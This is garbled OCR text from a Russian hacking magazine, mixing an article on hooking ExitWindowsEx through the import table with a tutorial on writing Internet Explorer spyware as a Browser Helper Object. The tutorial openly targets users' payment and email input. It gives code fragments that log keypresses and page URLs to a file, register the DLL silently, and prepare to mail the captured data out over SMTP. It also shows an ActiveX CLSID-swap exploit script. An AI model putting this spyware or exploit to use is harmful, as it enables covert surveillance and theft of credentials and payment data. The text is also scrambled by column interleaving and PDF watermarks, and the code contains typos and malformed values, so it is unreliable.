 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ки в память исполняемого файла. Чтобы заменить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Ищем секцию .idata

 

 

 

 

 

 

 

 

//Описание нашей функции:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

определенную функцию, надо лишь изменить ее

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for(int i=0; i<16; i++)

 

 

 

 

 

 

 

BOOL WINAPI OurFunction(UINT uFl, DWORD dwR)

 

адрес в разделе импорта на адрес нашей функ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(strcmp((char*)

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ции. Нужно заметить, что наша функция должна

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

((imsh+ i)->Name) , ".idata") == 0) break;

 

//Именно здесь выполняются нужные нам

 

 

 

полностью совпадать с той функцией, которую мы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(i==16)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

действия, то есть то, что нужно сделать

 

 

хотим заменить, то есть все параметры и возвра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

до или вместо завершения работы системы.

 

щаемое значение должны совпадать.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

printf("Невозможно найти секцию .idata");

 

 

 

 

Рассмотрим пример по замене адреса функ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return -1;

 

 

 

 

 

 

 

 

 

// И снова вызываем настоящую функцию

 

ции завершения работы системы ExitWindowsEx

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ExitWindowsEx

 

 

в таблице импорта на адрес нашей функции:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Получаем адрес секции .idata

 

 

 

 

 

((BOOL (__stdcall*)(HWND, char*, char*,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

imid = (IMAGE_IMPORT_DESCRIPTOR*)

 

 

 

 

 

 

 

 

 

UINT))ExitW_Addr)(uFlags, dwReason);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Определим переменную, в которую будет

 

(pimage + (imsh +i)->VirtualAddress );

 

 

 

return 0;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

записан адрес ExitWindowsEx

 

 

 

 

 

 

 

 

// Получаем абсолютный адрес функции

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DWORD ExitW_Addr;

 

 

 

 

 

 

 

 

для перехвата

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

это все? Итак, как ты видишь, в интернете

// Главная dll-функция содержит вызов

 

 

 

ExitW_Addr = (DWORD)GetProcAddress

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

идет настоящая информационная война. Кто вый-

нужной нам функции по замене адреса

 

 

 

 

 

(GetModuleHandle("user32.dll"),

 

 

в таблице импорта Substitute().

 

 

 

 

 

"ExitWindowsEx");

 

 

 

 

дет победителем — покажет время. Мы же дол-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жны обладать достаточной и полной информаци-

Она будет вызвана, поскольку, когда

 

 

 

 

if(ExitW_Addr == 0)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ей, чтобы вовремя среагировать даже на скрытые

система подключает dll к какому-либо

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

угрозы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

процессу, сначала вызывается главная dll

 

 

printf(NULL, "Невозможно получить

 

 

и выполняет то, что у нее находится в

 

 

ExitW_Addr");

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DLL_PROCESS_ATTACH.

 

 

return -1;

 

 

 

 

 

http://en.wikipedia.org/wiki/Rootkit

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вот какое определение руткиту дает wikipedia

BOOL APIENTRY DllMain(HANDLE hm, DWORD my_f,

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

http://www.chkrootkit.org

LPVOID lpcd)

 

 

 

 

 

 

 

 

 

 

// Поскольку ExitWindowsEx описана

 

 

 

 

 

 

 

 

 

 

 

 

 

такие утилиты как chkrootkit позволяют определить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

в user32.dll, будем искать соответствие

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

изменение ядра в работающей системе

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

52

 

 

 

 

 

 

 

 

БОЕВОЕ

 

 

 

 

to

BUY

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

КРЕЩЕНИЕ СПЕЦ 09-06

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ïîä

наблюдением

ПИШЕМ SPYWARE НА ОСНОВЕ BHO

IE – САМЫЙ ПОПУЛЯРНЫЙ БРАУЗЕР. А ЧТО ЛЮБЯТ ДЕЛАТЬ СОСТОЯТЕЛЬНЫЕ ПОЛЬЗОВАТЕЛИ? КАК НИ СТРАННО, ОПЛАЧИВАТЬ СЧЕТА, ПОКУПАТЬ РАЗЛИЧНЫЕ ТОВАРЫ — И ВСЕ ЭТО ОСУЩЕСТВЛЯЕТСЯ ЧЕРЕЗ ИНТЕРНЕТ. А ЧТО МЕШАЕТ ХАКЕРУ ПОДСМОТРЕТЬ ЗА ПОЛЬЗОВАТЕЛЕМ (НЕ СЧИТАЯ УК РФ)? ПОСМОТРИМ, КАК ЛЕГКО ВЗЛОМЩИК МОЖЕТ ПРОСЛЕДИТЬ ЗА ВСЕМ, ЧТО ПОЛЬЗОВАТЕЛЬ ДЕЛАЕТ В СВОЕМ БРАУЗЕРЕ

Кочубей Павел aka zOrd

ICQ: 291637112, www.offbit.1gb.ru

что такое Browser Helper Object. В первую

 

 

 

 

 

 

 

 

очередь, Browser Helper Object — это DLL, которая

 

 

 

 

 

 

 

 

регистрируется в операционной системе Windows

 

 

 

 

 

 

 

 

как дополнение ко всем известному Microsoft Inter-

 

 

 

 

 

 

 

 

net Explorer (такое дополнение имеется у Get Right,

записать его в любую из переменных-членов

вер. После создания проекта заходим в меню на

Flyswats, Quiver, Blink, iHarvest è Godzilla). Èäåÿ

объекта, после чего можем получить доступ к лю-

Add ALT Objects и добавляем Internet Explorer Ob-

«помощников» (helper — помощник), без сомне-

бому объекту браузера.

ject. Как ни крути, а этими действиями мы новый

ния, хороша (особенно для нас), потому что эта

функция функции рознь. Описывать все

мир не открыли, поэтому лезем в хидер и готовим-

DLL может следить за действием пользователя,

функции, которые теоретически могут войти в BHO,

ся к программингу.

когда он находится в браузере или другом прило-

просто нереально в пределах этого журнала, поэто-

В первую очередь, найдем описание класса BHO.

жении, в котором установлен наш BHO. Техноло-

му определимся с конкретной задачей. Что обычно

Если ты сделал проект, как описано выше, то полу-

гию BHO применяют многие приложения, и имен-

желает зло-программист? Он хочет получать дан-

чилось нечто вроде:

но поэтому Browser Helper Objects является инте-

ные, которые вводит пользователь, особенно отно-

 

 

 

 

 

 

 

реснейшей темой для разработчиков spyware.

сящиеся к системам платежей и e-mail адресам.

 

 

 

 

 

 

class ATL_NO_VTABLE CBHO:

 

 

 

 

BHO в разрезе. Технология BHO реализует-

Для того чтобы получить доступ к данным

 

 

 

 

 

public CComObjectRootEx

 

 

 

 

ся с помощью COM, поэтому DLL нашего хелпера —

страницы, нам необходимо использовать метод

 

 

 

 

 

 

<CComSingleThreadModel>,

 

 

 

это не что иное, как внутризадачный COM-сервер,

get_Document, а параметром ему будет объект ин-

 

 

 

public CComCoClass<CBHO, &CLSID_BHO>,

 

работающий в контексте процесса, подгрузивше-

терфейса IDispatch. Далее необходимо создать

 

 

public IObjectWithSiteImpl<CBHO>,

 

го его, и получающий полный доступ к объектам

указатель на IHTMLDocument2. В общем, все ос-

 

 

public IDispatchImpl<IBHO, &IID_IBHO,

 

программы. С помощью IObjectWithSite мы перех-

новное будет ясно в процессе кодинга.

&LIBID_IEPLUGINLib>

 

ватим указатель на интерфейс IWebBrowser2, ко-

строим BHO. Надеюсь, студия уже запуще-

 

 

 

 

 

 

 

торый является родителем класса и отвечает за

на? Значит — в бой. Создаем проект Win32 Appli-

Чтобы наши задумки в будущем осуществились,

всю работу браузера! После того как мы сделаем

cation, выбираем ALT COM, а в визарде оставляем

необходимо добавить декларации нескольких пе-

все необходимые манипуляции, нам необходимо

все по умолчанию, чтобы получить ALT COM-сер-

ременных:

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

53

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

public:

STDMETHOD(SetSite)(IUnknown *pUnkSite); STDMETHOD(Invoke)(DISPID, REFIID, LCID, WORD, DISPPARAMS*, VARIANT*, EXCEPINFO*, UINT*);

private:

STDMETHOD(Connect)(void);

CComQIPtr<IWebBrowser2, &IID_IWebBrowser2> m_spWebBrowser2; CComQIPtr<IConnectionPointContainer, &IID_IConnectionPointContainer> m_spCPC; DWORD m_dwCookie;

Итак, шапку spyware мы получили — будем двигаться дальше.

Если в MSDN ввести onkeypress (это имя метода используется в MSDN 2005), то через него можно выйти на get_onkeypress, а если у тебя более старая версия — используй метод IHTMLElement::onkeypress).

Для подстраховки функции необходимо еще выдергивать данные из документов. Реализуется это через функцию get_Document, а параметром ему служит IDispatch.

Сделать реализацию кода по моему описанию нетрудно:

CComPtr <IDespath> pDisp; m_spWebBrowser2->get_Document(&pDesp);

Далее создадим указатель на функцию IHTMLDocument и присвоим ему значение диспача. Создается это следующим образом:

CComPtr <IHTMLDocument2, &IID_IHTMLDocument2> spHTML; spHTML = pDisp;

После подобного описания функций мы сможем без проблем получить доступ к любой части кода. Для этого необходимо воспользоваться методом get_body, принадлежащим к spHTML. Теперь опишем функцию, которая, пожалуй, самая главная в написании spyware.

Метод IHTMLElement славится своими классами, и среди них — множество управляющих вводом/выводом информации в браузере. Эта функция для нас очень важна — к ее изучению мы сей- час и приступим. Для начала необходимо создать буфер — там будет собираться вся выловленная у пользователя информация. Определим, в каких интерфейсах имеется событие onkeypress:

HTMLTextContainerEvents2

HTMLAnchorEvents2

HTMLFormElementEvents2

HTMLTableEvents2

Далее обычным образом объявим необходимые функции и свяжем их — будем считать, что полдела сделано:

Делаем BHO в обыкновенном Visual C++

#define BUFSIZE 4096

...

HTMLTextContainerEvents2->

onkeypress(&pDesp)

...

Теперь наш BHO научился отлавливать клавиатурные нажатия и заносить их в файл. Пожалуй, тут есть некоторое упущение. Клавиши-то он перехватывает, а вот с какого сайта? Модернизируем наш код еще несколькими функциями!

Для реализации задумки необходимо перехватить URL из модели браузера и внести его в наш файлик. Эти дела будет осуществлять метод get_LocationURL, а выглядеть все будет так:

BSTR wstr; m_spWebBrowser->get_LocationURL(&wstr);

Где wstr — это указатель на массив двухбайтовых символов, в который наш метод перенесет значения.

Вот и все — общая картина прояснилась. Теперь для полного и безоговорочного счастья остается реализовать сохранение данных в файл:

DWORD dwBytesRead, dwBytesWritten, dwBufSize=BUFSIZE;

#define BUFSIZE 4096 BOOL f_wf;

f_wf=WriteFile(hTempFile, buffer, dwBytesRead, &dwBytesWritten, NULL);

регистрация в системе. Любому объекту, которому необходимо закрепиться в операционной системе, надо выполнить регистрацию. Для Browser Helper Object есть специальные ключи реестра, в которые нам необходимо внести информацию.

Во время создания нашего проекта в студии также появился файл с расширением rgs. Он будет добавлен в ресурсы, а также опишет действия,

которые и будут ответственны за регистрацию. Но, чтобы BHO работал правильно, нам надо немного этот файл подкорректировать. Первое, что мы сделаем, — меняем CLSID на TypeLib на те же, что и в нашем BHO. Второе — добавим в файл еще один ключ, который студия нам не приписала, а также без которого наш BHO не будет подгружаться к IE:

HLKM {SOFTWARE {Microsoft {Windows

{Current Version {Explorer

{‘Browser Helper Objects’ {Force Remove

{G4G53DNL-Q9LF-OV7D- 3753538543BVB7}=s ‘SPYFORM’

}}}}}}}

Теперь после компиляции нужно просто запустить regsvr32 c ключами /s /c и путем к нашей DLL.

а как же отправлять намытые данные? Итак, маленький помощник пользователя создан, и он послушно выполняет свои действия. Но как же он будет их отправлять? Для этой цели мы включим в разработку отправку писем на емейл.

Сначала создадим небольшой модуль, который будет считывать данные из файла:

#define BUFSIZE 4096 void WriteBuffer (void)

{

hFile = CreateFile("spyform.txt", GENERIC_READ,

0,

NULL, OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, NULL);

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

54

 

 

 

 

 

 

 

 

БОЕВОЕ

 

 

 

 

to

BUY

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

КРЕЩЕНИЕ СПЕЦ 09-06

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

разделе мы рассмотрим тип уязвимости совре-

му прибыльное дельце! К примеру, можно установить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

менных браузеров, основанных на несанкциони-

 

в панели браузера небольшую рекламу, которую бу-

DWORD dwBytesRead;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рованном запуске ActiveX.

дет лицезреть жертва. Чтобы узнать об этом больше,

#define BUFSIZE 4096

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

При активации этого объекта Explorer не за-

нужно почитать информацию вот об этих функциях:

BOOL f_rf;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

прашивает разрешения у пользователя, посколь-

 

 

 

 

 

 

 

 

 

 

 

f_rf= ReadFile(hFile, buffer, 4096,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ку объект сертифицирован.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

&dwBytesRead, NULL)

 

 

 

 

 

 

 

IObjectWithSite

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После загрузки ActiveX модифицируем его

 

 

 

 

 

 

 

 

 

 

 

BYTE bBugIE[BUFSIZE];

 

 

 

 

 

IPersistStream

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CLSID, заменяя его на CLSID необходимого нам

 

 

 

 

 

 

 

 

 

 

 

...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IDeskBand

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

несертифицированного ActiveX (в данном случае

 

 

 

 

 

 

 

 

 

 

 

CloseHandle(hFile);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WScript.Network):

Мне больше всего понравилась IDeskBand. В ее ко-

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

де явно прописывается, какое сделать окно, и опи-

Для отправки писем было решено использовать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сывается функция закрытия окна, а это для нас

 

<script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SMPT. Для начала создадим структуру smpt-адреса:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

важно! Можно просто пропустить эту функцию —

 

function modify(){

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и тогда оно откроется навечно. Вот пример:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

theActiveX.setCLSID("{F935DC26-1CF0-11D0-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SOCKET nSMTPServerSocket;

 

 

 

 

 

ADB9-00C04FD58A0B}")//заменяем CLSID

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

struct sockaddr_in smtp_address;

 

 

 

//Именно в этом месте кроется уязвимость.

 

 

 

STDMETHODIMP CExplorerBar::ShowDW

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int nConnect;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Если браузер выдает ошибку в следующем

 

 

 

(BOOL fShow)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int iLength;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

операторе, значит, он не подвержен

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int iMsg = 0;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

уязвимости

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(m_hWnd)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int iEnd = 0;

 

 

 

 

 

 

 

theActiveX.createInstance()

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BYTE sBuf[4096];

 

 

 

 

 

 

 

 

 

 

 

 

 

//создаем новый объект

 

 

 

 

 

 

 

 

 

 

 

 

 

if(fShow)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Далее опредилим само сообщение и его данные:

 

 

